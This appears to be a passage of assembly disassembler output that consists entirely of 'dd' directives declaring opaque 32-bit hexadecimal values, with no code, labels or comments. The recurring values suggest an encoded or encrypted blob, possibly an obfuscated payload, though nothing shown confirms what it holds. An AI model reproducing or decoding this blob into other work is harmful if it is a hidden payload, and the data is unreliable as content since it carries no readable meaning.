		dd 0A629E721h, 0C19FE37Eh, 86CE460Dh, 0B7B5BDF9h, 0D0E3E453h
		dd 4360043Bh, 785FE0CEh, 9C69902Dh, 15662233h, 4D3EECBh
		dd 75609D1Ah, 156656DAh, 0A4D8B232h, 8DC347B6h,	9DC9B958h
		dd 4B7F91BDh, 4CBDAF47h, 0CBB49054h, 9A69E969h,	1566443Bh
		dd 5B95A252h, 8148AB54h, 0A9E30553h, 0E0605C40h, 1C8FF2CDh
		dd 0E6661132h, 807EF0AAh, 6AF04D61h, 1337A7BBh,	99691727h
		dd 15668833h, 1568ADCAh, 0A2EB2232h, 906BCFF1h,	0D90C9D82h
		dd 2C0D9297h, 1CA3A7F4h, 0FC211727h, 15668835h,	0EAEAE22h
		dd 7D1BA74Ah, 94BA0148h, 90D377C7h, 75605124h, 1AB6A954h
		dd 9807E885h, 5DB0B7h, 138FB834h, 0B7662232h, 0ADE531E9h
		dd 75B67706h, 6BA4C554h, 11BFA31Dh, 743F17BAh, 3FF30DBBh
		dd 9A694227h, 15662238h, 156614DBh, 4632FF32h, 90A019ECh
		dd 13732BF7h, 1563F875h, 27A98832h, 7D503AE6h, 9F6997D0h
		dd 1567983Dh, 0EA9F8832h, 70C187h, 1EEA2D34h, 0FC661132h
		dd 15668834h, 5C43CF14h, 90EB516Bh, 13732A0Ah, 156F6152h
		dd 7E3C4432h, 0E21C3E1Fh, 0E993DA0Dh, 75B67753h, 1A9FCF54h
		dd 9C07D48Dh, 9E16BB7h,	959FE834h, 0D20744FEh, 74B7B7h
		dd 15666934h
		dd 0A8E57032h, 137355F3h, 13E22D32h, 7566112Bh,	0AE8D0954h
		dd 0CCD14B72h, 0D0E3E453h, 5960043Bh, 749D0352h, 0CF7AAD5Ah
		dd 0A099D7EBh, 137307B7h, 2DE305CAh, 0FC605109h, 15662234h
		dd 0BDA53839h, 0C599C47Ch, 15664ADBh, 57A75C32h, 0B5667FF2h
		dd 8AF24272h, 0FC3742D9h, 1566223Fh, 34ABC193h,	9F3B3443h
		dd 0B05CFFFAh, 73E3AB46h, 0E0600DB5h, 157E013Dh, 68F4432h
		dd 33662232h, 81A7C918h, 0DA08A11Eh, 0F9429042h, 35181461h
		dd 90A0B73Eh, 137381F7h, 0DB0EBD7Eh, 0ECBB56ECh, 157E953Dh
		dd 95698832h, 15664420h, 15662FDBh, 0FCFF032h, 19D25565h
		dd 0EB671828h, 0A0991D9Dh, 137307B7h, 9E00E8C7h, 74A3CEF5h
		dd 2E5EA7BFh, 73061727h, 198E46B9h, 53664432h, 5F8D91CEh
		dd 0C19B212Dh, 0FC04E7E1h, 1566443Ch, 0A871F0C4h, 0BB65847Ah
		dd 21D2CDEAh, 743E4678h, 18FF2CDh, 0A4661132h, 98FADD19h
		dd 6A1E41AEh, 89AAB189h, 3FBAF268h, 9CC892A4h, 9E12EB7h
		dd 156ACB34h, 641E1132h, 0E5E263E7h, 0D3047697h, 90A06742h
		dd 137318F7h, 2A0E7D7Eh, 0FCD1C5B0h, 15662220h,	0E646FA23h
		dd 2F394496h, 0F9132343h, 0EB0067E0h, 0A0991994h, 13739EB7h
		dd 156CCF3Dh, 1A062232h, 156611B0h, 7407E832h, 2E5EC1BFh
		dd 0EA932427h, 1A3771E2h, 156688BDh, 9C071F32h,	9E14CB7h
		dd 18E7134h, 1668832h, 82A444F2h, 0C0D1ADC8h, 976B4CA3h
		dd 0E1542749h, 9ED1B3D0h, 0AB0078C1h, 0D3075E52h, 6F4DB7h
		dd 78F0834h, 6A662232h,	0AF497B44h, 0E6E8E82Dh,	8D41E908h
		dd 0C5E1704Eh, 557E79C1h, 9B693B1Dh, 15664420h,	15662FDBh
		dd 33F58432h, 880D6237h, 0ECEA7335h, 0A099F76Ch, 137307B7h
		dd 15670D3Dh, 989A4432h, 5D1AB7h, 19E91E34h, 0FC668832h
		dd 15664435h, 60435D10h, 0EA2FD690h, 198FE8E2h,	57664432h
		dd 2B526AB4h, 0E47468Ch, 0ED043151h, 7BE3CD53h,	1A603EB5h
		dd 156610B5h, 90A07432h, 13734DF7h, 9E934274h, 10E70E2h
		dd 0FCDC5634h, 15664434h, 0B27ED8C4h, 0A099D0F8h, 13739EB7h
		dd 156649DBh, 0A7BAE932h, 8E220C73h, 47D3DA58h,	90EB1094h
		dd 1373190Ah, 9E69E952h, 15668837h, 0A497888Ch,	0C5994375h
		dd 156601DBh, 9731C132h, 0D7293DFh, 9E7B7C83h, 529E1A18h
		dd 63E301C3h, 1A6058B5h, 156623BDh, 90A0E432h, 137381F7h
		dd 6F0EBC75h, 0EDE7FE22h, 15661CDBh, 282EB32h, 0A622317Dh
		dd 0E05B06A1h, 0A0995949h, 13739EB7h, 156643DBh, 0B8EC3232h
		dd 0CCD37285h, 2E5E0DBFh, 98694227h, 1566223Eh,	15609C3Dh
		dd 9C698832h, 15664432h, 9C93F2CDh, 9E16FB7h, 19E98734h
		dd 1A664432h, 156624B6h, 15EF1E32h, 0D3668832h,	6F81B7h
		dd 9C696534h, 15661133h, 9BCAE0C7h, 188FABB5h, 72662232h
		dd 6B7055F0h, 0FAFE9832h, 3D2BDCFCh, 3E397CDh, 0AC061727h
		dd 3ECB7469h, 2DE3C953h, 1A603709h, 156610BCh, 0EA9A7132h
		dd 90EFB1E2h, 137AA5B0h, 0D0E3D7CAh, 52609D3Bh,	0B2B42CCEh
		dd 0AD06F6A8h, 59B39351h, 0E9643754h, 90D3BB53h, 0FC603724h
		dd 1566113Eh, 4AA2274Fh, 0DE81C4D0h, 0E85EB68Fh, 2E5E94BFh
		dd 1C8F8E27h, 0D2664432h, 9B695049h, 4DF33652h,	976958CDh
		dd 1566443Eh, 1560AB3Dh, 9A691132h, 15668832h, 92E0C1BBh
		dd 7306242Eh, 0D47EC7B3h, 15668DDAh, 5D7B5932h,	0AE00BAC7h
		dd 743C2D14h, 1CA30DF4h, 1A214227h, 156623BEh, 110EE932h
		dd 1ADC490Bh, 15664CBFh, 17ED2D32h, 75661132h, 90D37753h
		dd 1A605124h, 15662EBAh, 13E31E32h, 1A668832h, 156644B6h
		dd 14E92D32h, 0E9661132h, 2E5E0DBFh, 97694227h,	15662238h
		dd 156614DBh, 6D7FCF32h, 0C5997ED1h, 15662ADBh,	21083D32h
		dd 8C1034C6h, 9FE3CDD9h, 75603EB5h, 0FCA5AE3Dh,	15668820h
		dd 8A2760E5h, 528F9FCCh, 0F164ABDAh, 224F7F26h,	1A07C7DCh
		dd 156633B6h, 156AF832h, 0BDDB8832h, 569CA78Ah,	7B7BF130h
		dd 0A8E54189h, 137390F3h, 0A2E34B32h, 75662232h, 9BAE9054h
		dd 74A9032Bh, 1CA3C1F4h, 75212427h, 0E7656689h,	0CE48738h
		dd 0FD664432h, 15662221h, 6289C68Ch, 0F3C2B57Fh, 5EC39F9Fh
		dd 0BD076918h, 4F24D45Eh, 15686153h, 91414432h,	0D3A46BCEh
		dd 3E34E9E2h, 0E3482ECEh, 674B235Ah, 1560CBD2h,	8DB41132h
		dd 4D780373h, 3E3F1CDh,	188F2427h, 7C661132h, 78DD308h
		dd 1FE0A0D6h, 0C30AA186h, 1567933Dh, 989A8832h,	5D7CB7h
		dd 0A7064234h, 0CFE7774Ah, 74077FF2h, 996994CDh, 15662225h
		dd 156603DBh, 0FAD01D32h, 2584ABAEh, 703E8574h,	583CDF73h
		dd 9C148F50h, 9E1CAB7h,	95064234h, 0A60727C1h, 90A0E9F4h
		dd 13734DF7h, 1EA2D75h,	1A661132h, 156686B4h, 156FAD32h
		dd 74572232h, 60880024h, 7D87A9AFh, 9B4FF783h, 1B8F42CAh
		dd 7A661132h, 0E8EF6EFAh, 4BA85941h, 8CE36EAEh,	0D7ED77AAh
		dd 90D37753h, 0FC605124h, 15662234h, 0D599D18Bh, 90EB0C37h
		dd 13737F0Ah, 13E72D52h, 1A661132h, 156688B7h, 0E5DD2232h
		dd 0C599437Eh, 45DF7752h, 0E4880991h, 7437D3FBh, 157DA03Dh
		dd 0FD061132h, 15668823h, 0F7E6B367h, 0F01D9239h, 2FEAF381h
		dd 0B99D5B52h, 80D31E43h, 87E3AB53h, 0EC600DB5h, 1CA30DF4h
		dd 0FC254227h, 15662220h, 104B5B53h, 0E31A949Dh, 3C282B5Dh
		dd 602E37Ah, 0B20E5683h, 75A6FE78h, 15664EDAh, 18EC5232h
		dd 39376CCBh, 958C1586h, 0AD39A4E3h, 3079F3Eh, 156AF853h
		dd 50228832h, 0E2647B4Ah, 55431265h, 0A09937EBh, 13739EB7h
		dd 0E7ED2252h, 90EB43C7h, 13732A0Ah, 0FCB677CAh, 15664422h
		dd 0A65DFC3Bh, 0CD904ECAh, 0F479090Fh, 0AD90BB34h, 92F0A7BBh
		dd 9169172Eh, 15668838h, 156641DBh, 79CB5332h, 90A0A16Ah
		dd 137381F7h, 1DEE4B7Eh, 1A662232h, 156613BAh, 7D07E832h
		dd 0EE0028D9h, 156633DBh, 744D1C32h, 9580A9BAh,	8937C909h
		dd 0D3B16D9Bh, 0A0992161h, 13738FBBh, 0DDD14B52h, 62D19D54h
		dd 14EB1E53h, 0EC668832h, 2E5EC1BFh, 0AE062427h, 2116FBFAh
		dd 74BE0354h, 128F94CDh, 16662232h, 0C013079Fh,	90EF44E5h
		dd 137ACC18h, 0DE52DCAh, 0FC661132h, 15668821h,	4247BF44h
		dd 6EB63D18h, 0DC8636F7h, 0FD80312Dh, 0D33A5661h, 6FE7B7h
		dd 7D9E5534h, 0AE150667h, 90D3BBCAh, 75603724h,	2DE39C53h
		dd 75609D09h, 1574AC52h, 973A2232h, 5DFD23C6h, 258D8901h
		dd 0FAF3F8DBh, 0F719CB37h, 15EF1E6Ch, 74668832h, 75B6BB53h
		dd 1568CB63h, 38261132h, 6E9B4961h, 156D56C2h, 1C33855h
		dd 0FD06706Ch, 15668837h, 2B87A374h, 0DBD92DF3h, 0B2BC916Bh
		dd 8FE30153h, 1A6058B5h, 15663AB2h, 7E61E32h, 0FC668832h
		dd 1566443Fh, 6618794Dh, 1E3B7E66h, 844C4117h, 0D0E382F6h
		dd 5660373Bh, 58A89052h, 1A5D6082h, 156646B4h, 74A9A832h
		dd 9B08ED5Ah, 1561618Eh, 0AE214432h, 5AEA0F29h,	90D3EEA2h
		dd 75609D24h, 74B4FB3Dh, 2E5EA7BFh, 0AD061727h,	526B83BAh
		dd 0EA078AB9h, 14EB2DE2h, 0ED661132h, 92F80DBBh, 1C8F422Eh
		dd 98662232h, 283598D6h, 0B0638B28h, 1CA3C1F4h,	0FC352427h
		dd 15661122h, 0F5EDCBCBh, 9CA7233Fh, 0EC684604h, 2DA0CB8Ah
		dd 558225Ah, 0DDED24F4h, 156630DBh, 8EA75832h, 31140603h
		dd 3FDB5D80h, 0C3C107Fh, 74644BA7h, 3E33DCDh, 989F4227h
		dd 5D1AB7h, 0DEC1E34h
		dd 0FC668832h, 15664421h, 26CC98F2h, 66169559h,	2CF02394h
		dd 0FCF1031Ch, 1A202FEBh, 156616B1h, 14E38732h,	0E0664432h
		dd 1A06F2CDh, 156617BBh, 15E78732h, 1A664432h, 9C07D285h
		dd 9E1B3B7h, 7335E834h,	4DE6628Dh, 9607B880h, 7A948Fh
		dd 91698834h, 156647C8h, 1576CB52h, 65451132h, 2D84EFEAh
		dd 13483239h, 20CB524Ch, 0AC001103h, 0D307B36Ch, 6F81B7h
		dd 7D936434h, 0EFF0DF03h, 90D377CEh, 75605124h,	0F016C58Ah
		dd 1A07E949h, 156690B0h, 1575AD32h, 688A2232h, 453F05D4h
		dd 87F90D10h, 97EF914Dh, 4C8DDA2Dh, 2DE39CCFh, 0FC609D09h
		dd 1566443Dh, 0B9329093h, 97BE340Ah, 0A3E99AAh,	0FCB4330Ch
		dd 15662226h, 2F891500h, 354593D3h, 1049FFC9h, 0FBF3171Bh
		dd 0D0034583h, 730658CDh, 196392B3h, 3DADC1B3h,	9C075200h
		dd 9E176B7h, 68F2434h, 91662232h, 0C3231307h, 0EE568579h
		dd 98434319h, 0E8F318B9h, 9400EFD5h, 7460C3D5h,	1CA3C1F4h
		dd 75202427h, 7D076781h, 0E9C1B2E4h, 14EF4BCBh,	0EC662232h
		dd 3E3A4CDh, 95698E27h,	15664435h, 1567AA3Dh, 989A1132h
		dd 5DB0B7h, 0A1312434h,	0EA077C54h, 14E11EE2h, 0E0668832h
		dd 9D68C1BBh, 7506242Eh, 156601DAh, 5FD8B332h, 1B28BEC6h
		dd 3418BB31h, 0EC2F944Eh, 0C7E7D343h, 65BB1195h, 78D84453h
		dd 90A070CAh, 137381F7h, 1561AD74h, 8FF12232h, 0C56CCB16h
		dd 0B166E04Eh, 9469D6CEh, 15662227h, 156601DBh,	7BE93332h
		dd 4FCF6567h, 5EAE985Ch, 502F487Dh, 90D37799h, 1A605124h
		dd 156624BEh, 1A9F7132h, 98077E8Dh, 5D7CB7h, 0DCE74234h
		dd 7F29B4FCh, 156684DBh, 6B091B32h, 1430EA0Dh, 6DB7BE02h
		dd 0C599E959h, 156DC43Dh, 138F2232h, 0E9661132h, 9951076h
		dd 7E3CDB2h, 0ED603EBAh, 1CA394F4h, 1A208E27h, 15665FB3h
		dd 78F4232h, 3E661132h,	875AF993h, 60F66E1Ch, 7EC17D1Dh
		dd 827C786Ah, 7439DF70h, 0C1292E5Ah, 940042C4h,	736552DCh
		dd 0CBF550B3h, 90D3BB53h, 0FC603724h, 15661120h, 0FB88EBCh
		dd 0E7248FD4h, 6E57FCEDh, 253BC386h, 90EB9219h,	13737F0Ah
		dd 156EA33Dh, 1A061132h, 156688B7h, 198F2532h, 0DB662232h
		dd 0DCF57722h, 8C74F6AAh, 0EA6F6B3Dh, 14E32DE2h, 0E0661132h
		dd 9D700DBBh, 9369422Eh, 15662233h, 90A0E9CAh, 137381F7h
		dd 7D9AB174h, 81AB72D5h, 1568F852h, 22118832h, 7D1576CEh
		dd 4A860F15h, 44B00ADCh, 15669BDBh, 23CFD132h, 710E1876h
		dd 9DE0A3Ah, 0F6B6DF25h, 0DB89060h, 90D3DD53h, 0FC600424h
		dd 1566883Bh, 0BC3362D1h, 10F310C4h, 2DE39C35h,	1A609D09h
		dd 156645B3h, 0C599DA32h, 74B79A52h, 9D640DBBh,	1E8F422Eh
		dd 0B0662232h, 6DA4426Ah, 0F00857F0h, 90A0B8FAh, 13732BF7h
		dd 1F8F7174h, 0CC668832h, 15AF4FF3h, 7E27DA87h,	1572F890h
		dd 0C5718832h, 0F33DC311h, 0DE8BECD8h, 51AECC71h, 0D70B6ED6h
		dd 7D07D830h, 0A4445609h, 156601DBh, 5BF65532h,	0BA1988F6h
		dd 95E5CAC4h, 0FE0D09CCh, 90D377F0h, 1A605124h,	156623B9h
		dd 90EBE832h, 1373B30Ah, 156656DBh, 0B1688B32h,	4FED7C8Bh
		dd 436EB1AAh, 50539D73h, 0EAF0C3FDh, 0DCE771E2h, 7BE7FB72h
		dd 74A4FB3Dh, 9D60A7BBh, 9C69172Eh, 15668820h, 1563AC52h
		dd 33D72232h, 4FA335E9h, 5EBC0954h, 18F2525h, 0C5662232h
		dd 4A6D0EB9h, 0BCA91551h, 4525D4FAh, 0C60EFDDEh, 0D3CA9F91h
		dd 6F4DB7h, 0AE060234h,	709985A3h, 156600DAh, 0EA2D1032h
		dd 76666397h, 0F301EEFEh, 0E7F7414Ch, 9469103Eh, 15664432h
		dd 0F80E436Bh, 0FCB968D8h, 15668835h, 0C712B7C2h, 0EA50752Fh
		dd 709487h, 68F7134h, 9A664432h, 0EA17679h, 0BA76DC6Bh
		dd 287D2383h, 5D8E81A0h, 90EB72E4h, 13732A0Ah, 1567063Dh
		dd 0EA9F4432h, 19EC2DE2h, 1A661132h, 15668EB7h,	15EF4B32h
		dd 9C662232h, 9EE1BB7h,	156A6134h, 6BA54432h, 23C1A19h
		dd 15040D47h, 0A8E5CB26h, 13735CF3h, 62E32D32h,	0FC661132h
		dd 15668834h, 2C60932h,	90A0E989h, 137318F7h, 9400E861h
		dd 74CE2CD9h, 1563A63Dh, 73061132h, 7D075FB9h, 0DBD8A46Ch
		dd 1561AF3Dh, 1A061132h, 0EBED7F8Dh, 90D3BB53h,	75603724h
		dd 8E16A954h, 0A78359B3h, 98076162h, 5D1AB7h, 90697134h
		dd 15668834h, 75D5A4B3h, 749E486Eh, 0ECB6EECEh,	92C00DBBh
		dd 9C69422Eh, 15662238h, 0CFED7752h, 0B950954h,	90A0251Bh
		dd 13732BF7h, 1560F875h, 0C01A8832h, 91E588FAh,	0A438A55Ah
		dd 6EB1EF5h, 0FC668832h, 1566443Ch, 0E456C17Ch,	341ACCFDh
		dd 59321A20h, 0A0999E6Fh, 137334B7h, 156617DBh,	0F760D232h
		dd 98A9E553h, 5D1AB7h, 138FE934h, 40668832h, 9EA681C8h
		dd 0FCB6DD9Dh, 15661122h, 675D6BDh, 0CF56E244h,	986ABFFCh
		dd 6DAA3EBEh, 92CC0DBBh, 48F422Eh, 0F0662232h, 0F6B5B93Ch
		dd 32E16795h, 0FB6A2C20h, 439A99B8h, 0DA7ACB1h,	1A668E27h
		dd 1566C2B7h, 73344232h, 6149FBB3h, 0D7E7EE68h,	750793D5h
		dd 90A043CEh, 137318F7h, 1DEF8775h, 1A664432h, 156620B8h
		dd 7D077132h, 0F304F637h, 90D3BBC7h, 1A603724h,	15661DB0h
		dd 13E18732h, 1A664432h, 156622B5h, 2DE39C32h, 0EC609D09h
		dd 4D352452h, 156636DBh, 0FB50D232h, 423DCEBEh,	77A7DA86h
		dd 5DAED381h, 0E5ECC404h, 9400E9B9h, 74CAA5D4h,	759FF2CDh
		dd 0C5ED7760h, 0AC8D096Bh, 746D7B52h, 92C8A7BBh, 0D39A172Eh
		dd 6F4DB7h, 0A3060734h,	1560CA5Eh, 2ECD1132h, 585B64FCh
		dd 743E7087h, 6F6FD45Ah, 19E01EA0h, 0FC668832h,	15664435h
		dd 0F798A871h, 0E9976FDBh, 3E33DCDh, 1A064227h,	9807E48Dh
		dd 5D29B7h, 0C5997434h,	90EFBCCEh, 137AA580h, 1567913Dh
		dd 1A9A8832h, 156645B6h, 90A0DE32h, 137318F7h, 0AA69E871h
		dd 1575ADC3h, 3C652232h, 5DFC2299h, 0AC023FAAh,	52CFA09Fh
		dd 23BFD21Ah, 350E7086h, 0EC9AA9A5h, 3E3F1CDh, 989A2427h
		dd 5D29B7h, 0F3E6E834h,	7494CFD8h, 0E093F2CDh, 92D094BBh
		dd 969A8E2Eh, 7E858Fh, 90692234h, 156611FFh, 9BB10952h
		dd 0A37AA617h, 90A0430Dh, 137318F7h, 15616171h,	0B4ED4432h
		dd 0E58938E3h, 160EE8D4h, 0FCED889Ah, 15664423h, 102DCCFDh
		dd 0BF463D0Fh, 5364B433h, 0CE93D953h, 90D3DD1Fh, 0FC600424h
		dd 15668822h, 50D39366h, 0E18117Dh, 0DC2326B4h,	0D9EA34B8h
		dd 1560AD52h, 84582232h, 0FEF23742h, 74564CB2h,	2E5EC1BFh
		dd 73062427h, 95273E88h, 0EA076BFDh, 90EFBDE2h,	137AA58Ch
		dd 90A0EDCBh, 137381F7h, 0C00EBD71h, 0ED837904h, 3E3A4CDh
		dd 989F8E27h, 5D7CB7h, 1572CB34h, 19A41132h, 0AC8A427Ah
		dd 5F586C57h, 753A8946h, 0FA7AE117h, 0C5996950h, 1563C33Dh
		dd 1A062232h, 0E007D88Dh, 92DC0DBBh, 9369422Eh,	15662233h
		dd 0D0E3D7C7h, 56609D3Bh, 156EAC52h, 0EEF42232h, 0D7EABBFFh
		dd 0FC3C4419h, 1566443Dh, 0E7B451EEh, 7BC3C5FDh, 22F0B9A1h
		dd 74F555E7h, 0E5D12D52h, 0F40E70CEh, 758C2200h, 94A0CF54h
		dd 0A60BB2F0h, 0A0997060h, 13739EB7h, 17E74B52h, 9E662232h
		dd 90EB70C2h, 1373B30Ah, 75B6BBCEh, 1563AC3Dh, 94001132h
		dd 0E02E6FE2h, 0D7E3CD53h, 1A603EB5h, 156606B1h, 15746132h
		dd 789C4432h, 0F740B4BCh, 841ABC73h, 0D500A734h, 0BC53D110h
		dd 3DE4452h, 90A070A9h
		dd 137381F7h, 14EB4B71h, 0EC662232h, 0E4CA265Ah, 0A0997DB6h
		dd 137352B7h, 156AA33Dh, 92691132h, 15668834h, 1566C93Dh
		dd 9C692232h, 1566113Bh, 738D0252h, 924097B3h, 2DE3AF53h
		dd 1A600409h, 156689BFh, 0C599BD32h, 15662DDBh,	0D73F5732h
		dd 28B0A704h, 7CC4CB8Dh, 0EB0FB65Eh, 92A094BBh,	0AF068E2Eh
		dd 39A7DA40h, 1566A63Dh, 1A071132h, 156684B3h, 13E94B32h
		dd 1A662232h, 156611BFh, 0D0E34E32h, 5A60513Bh,	1568A93Dh
		dd 1A061132h, 156688BFh, 15E54B32h, 74662232h, 20F6C55Ah
		dd 156161A5h, 54FE4432h, 0B73E3CB9h, 1575F87Eh,	35DA8832h
		dd 0D8161AE8h, 0FE0195F3h, 0B2F819Ch, 0D82C09BCh, 90D3BBB1h
		dd 0FC603724h, 15661135h, 0C89C7554h, 989469CBh, 5D1AB7h
		dd 0AD007134h, 9969B16Ah, 15664434h, 4029FCB3h,	0EA0721C6h
		dd 19E387E2h, 75664432h, 1484A354h, 0CC87AAF3h,	9C07AAAAh
		dd 9E18EB7h, 90A0DB34h,	137318F7h, 14E1877Dh, 0E0664432h
		dd 7B68205Ah, 0A099E4CBh, 13739EB7h, 2DE3C9CAh,	75603709h
		dd 1577F9C7h, 0D97D8832h, 57819536h, 0A466C7C4h, 0CF825964h
		dd 0AF9D4078h, 410C9FEFh, 0C5994369h, 156602DBh, 40CDF332h
		dd 4F2B062Eh, 0B554DB8h, 0CE111C42h, 0DA87AE15h, 92A8C1BBh
		dd 1C8F242Eh, 9A661132h, 0A42EF1B3h, 9D9491DCh,	156632DBh
		dd 8F1DFE32h, 0C9AFE7B2h, 0B5527E7Ah, 9FF73AC6h, 0D0E3D7A6h
		dd 58609D3Bh, 6C2F2CCBh, 9C69EA05h, 15661123h, 156684DBh
		dd 0B8513A32h, 1723D4D0h, 8DA31387h, 90D377B8h,	1A605124h
		dd 15662EBDh, 13E81E32h, 1A668832h, 156644BCh, 2DE3AF32h
		dd 0ED600409h, 9C9F58CDh, 9E192B7h, 7ADD4234h, 75253B29h
		dd 15660A3Dh, 0D7E74432h, 0B0DB8A2h, 1F8F7053h,	5D668832h
		dd 0D669B99Fh, 26B91F84h, 0D0E3D7BCh, 58609D3Bh, 156655DBh
		dd 0CFA10F32h, 265717F9h, 9A941A0Ah, 0D456D70Dh, 9C0E2F8Eh
		dd 0FCBAE67Fh, 15668837h, 5D7283F5h, 90D3DD70h,	0FC600424h
		dd 1566883Dh, 0D45989FCh, 0CA9DD603h, 47E6553h,	989546EAh
		dd 5D7CB7h, 156BCB34h, 0C0FF1132h, 4534CF71h, 58C29697h
		dd 0EA4F134Eh, 10E31EE2h, 75668832h, 749EF33Dh,	92B4A7BBh
		dd 128F172Eh, 0DA668832h, 8F5A7D16h, 90A00029h,	137318F7h
		dd 108F7D67h, 72664432h, 0A601AD18h, 0E4B265Ah,	3E887AEh
		dd 0FC664432h, 15662223h, 0E1D56667h, 4D9371Fh,	2184CFE7h
		dd 3CA8CC5Ah, 90D3EEFAh, 0FC609D24h, 15664420h,	0EA569340h
		dd 7B5F47C2h, 4497B2EDh, 80D2002Ah, 90EBDC65h, 13732A0Ah
		dd 0ECB677C7h, 92BCC1BBh, 1C8F242Eh, 661132h, 0DB2CD004h
		dd 0F09C313Fh, 1CA3A7F4h, 0FC251727h, 1566883Eh, 0AF8FC257h
		dd 7A792D3Bh, 0C230878Ch, 0C096A25Ah, 1DE54BE0h, 1A662232h
		dd 156613BAh, 0EA07E832h, 70C187h, 0A1D24234h, 98076A81h
		dd 5DB0B7h, 73312434h, 7539ECB9h, 15EE1ECAh, 74668832h
		dd 1AB6BB53h, 15663BB9h, 1572F832h, 8118832h, 0A6C397D8h
		dd 892CF410h, 0E781D4Ah, 248E6C54h, 9B69296Fh, 15662233h
		dd 0CBE398CBh, 1A6094B5h, 15664AB1h, 156FCB32h,	0EB011132h
		dd 0D86B9E87h, 0D332A4CEh, 6FE7B7h, 1A064334h, 15668ABFh
		dd 4498CF32h, 0F6DE9B54h, 0FF0E706Ch, 0ED9BCA86h, 3E3F1CDh
		dd 1A062427h, 156614BEh, 16813332h, 0AC005CF4h,	1A076CABh
		dd 156618BEh, 1A9FE832h, 156644BEh, 90EB4332h, 13732A0Ah
		dd 156E063Dh, 90694432h, 15662230h, 0C5997052h,	156683DBh
		dd 0EC93CF32h, 0D6D83067h, 0B8FA64A5h, 3B5F0DBBh, 188F4227h
		dd 0C9662232h, 3217EBEBh, 27FAECDEh, 7CBFC9E1h,	1CA3A7F4h
		dd 0FC211727h, 1566883Dh, 718A6343h, 98B510AEh,	13AF78EBh
		dd 1AC91925h, 156643B8h, 14ED2D32h, 0E9661132h,	8D3F115Ah
		dd 1CEB4BD0h, 75662232h, 15E61ECAh, 74668832h, 3E3F1CDh
		dd 1D8F2427h, 0A4661132h, 6D9B2415h, 753012B5h,	9E00ECB9h
		dd 90EB70EBh, 1373B30Ah, 75B6BBCAh, 74B9A954h, 928494BBh
		dd 58F8E2Eh, 1E664432h,	5C081939h, 0B35430AEh, 4D34D786h
		dd 1A037694h, 156623B3h, 90A0E932h, 137381F7h, 97692475h
		dd 15662237h, 16B04388h, 64DFEE00h, 0D70E2508h,	0FCD7DF52h
		dd 15661139h, 0E7E6EF64h, 73C96BB7h, 75457272h,	1567983Dh
		dd 749F8832h, 3E3F1CDh,	93692427h, 15661133h, 739AE8C7h
		dd 98078EB9h, 5D1AB7h, 1561F834h, 7C68832h, 70E634E9h
		dd 1A36424Bh, 156611B4h, 7493D332h, 986994CDh, 15662233h
		dd 0F3E398CBh, 756094B5h, 0C2E79B81h, 1307225Bh, 0D0E3D753h
		dd 52609D3Bh, 156643DBh, 0B5D66832h, 58A7D262h,	0B3989C5Ah
		dd 0A099B1EDh, 137334B7h, 2DE39CCAh, 75609D09h,	739DFB3Dh
		dd 0F49ECCB3h, 75B6EE53h, 0A24F58B3h, 9C072116h, 9E1C8B7h
		dd 0AE007134h, 940042DEh, 741B6DD4h, 0D0E3E4CAh, 4A60043Bh
		dd 156687DBh, 6D920432h, 5644CC06h, 0E1C13398h,	0D9B290F3h
		dd 45942C5Ah, 1560CBACh, 2DAB1132h, 0AB7C4EAEh,	3E3F1CDh
		dd 90692427h, 1566113Dh, 156682DBh, 0E0053332h,	17F2ADF3h
		dd 0EDF00B1Ch, 2E5E0DBFh, 0FD064227h, 15662221h, 45D522C0h
		dd 65F89DCEh, 1DF06CBFh, 3F91DD3Fh, 0ED89D50Dh,	0D3DFEE68h
		dd 0C59925D9h, 4A9F7252h, 7412D8B2h, 92880DBBh,	0AE06422Eh
		dd 7C1495B9h, 1560943Dh, 0D5E78832h, 407E9B38h,	0D0E3E453h
		dd 5A60043Bh, 6E59E0C7h, 470683CEh, 743C7965h, 3E3A4CDh
		dd 989F8E27h, 5D7CB7h, 0C599D734h, 1573953Dh, 46068832h
		dd 156AAD68h, 31AF2232h, 0E6458DB1h, 5BC4DA8Bh,	9C07E174h
		dd 9EE38B7h, 1577F834h,	5BA98832h, 9193F87Bh, 0BA8A22F8h
		dd 2F8432Fh, 0D3D8D2ABh, 6F81B7h, 91696534h, 1566113Eh
		dd 15668FDBh, 6D457732h, 46A5384Fh, 4E085D5Ah, 0EA87C8h
		dd 0FC664432h, 15662222h, 0F476CED6h, 4FC2B9A3h, 0D2478F69h
		dd 1E04CBECh, 3E3A4CDh,	9B698E27h, 15664433h, 2DE3AFCEh
		dd 0FC600409h, 1566883Fh, 8A3ED564h, 282E773Dh,	35420903h
		dd 0FCB67740h, 15664439h, 623054B1h, 1A16A148h,	9C6E87AEh
		dd 9EE5AB7h, 1560CB34h,	0B6251132h, 477CEA8Ch, 1CA3C1F4h
		dd 1A212427h, 156608B5h, 0AA69E832h, 1569ADF3h,	60812232h
		dd 0C758115Eh, 6F0FF0DDh, 0F78E5B80h, 9C694311h, 1566113Bh
		dd 0DBE7EE52h, 0FFD709DCh, 31AB4A53h, 48FD234h,	0E1668832h
		dd 0B36BFD36h, 0DD3EB6AFh, 62F233CBh, 835A5D6Ah, 758ECE52h
		dd 1280A2CEh, 0A0997053h, 13739EB7h, 95DF2252h,	156FCBDFh
		dd 8BF71132h, 0ECB98BA6h, 747D190Dh, 2DE3AFCEh,	0EC600409h
		dd 15696052h, 0CB234432h, 4607462Dh, 0E9D9E567h, 692D5F48h
		dd 0E3E72225h, 743EB3C6h, 9969C1CDh, 15668821h,	15664ADBh
		dd 4DDD9432h, 6F122A2Bh, 3E81A82Dh, 0E0AA05C1h,	9D44A7BBh
		dd 0D39F172Eh, 6F4DB7h,	7D9E1B34h, 0C1DD42FEh, 90D3EECAh
		dd 0FC609D24h, 15664435h, 750ED36h, 98A1C533h, 5DB0B7h
		dd 0C599B834h, 0E7E3ABC7h, 0FC600DB5h, 1566883Dh, 46EC32EDh
		dd 25A4F906h, 7253A254h, 0E9C1FFCBh, 1CA3C1F4h,	1A392427h
		dd 156619B4h, 17ED8732h, 75664432h, 1AEC2D53h, 0FC661132h
		dd 15668838h, 2E99E583h, 4F2FA6D0h, 5B0E94BCh, 1AF86166h
		dd 156648BAh, 13E32D32h, 1A661132h, 156688B7h, 0DE04B32h
		dd 0FC662232h, 15661121h
		dd 0A51D3542h, 4F3F2A39h, 284B10CCh, 5F80AA76h,	0EAF6EABEh
		dd 70C187h, 1577CB34h, 0FA01132h, 4AA0938Ch, 0FF04AA46h
		dd 0CF0A4510h, 984283B0h, 5DB0B7h, 1563AD34h, 0AE9D2232h
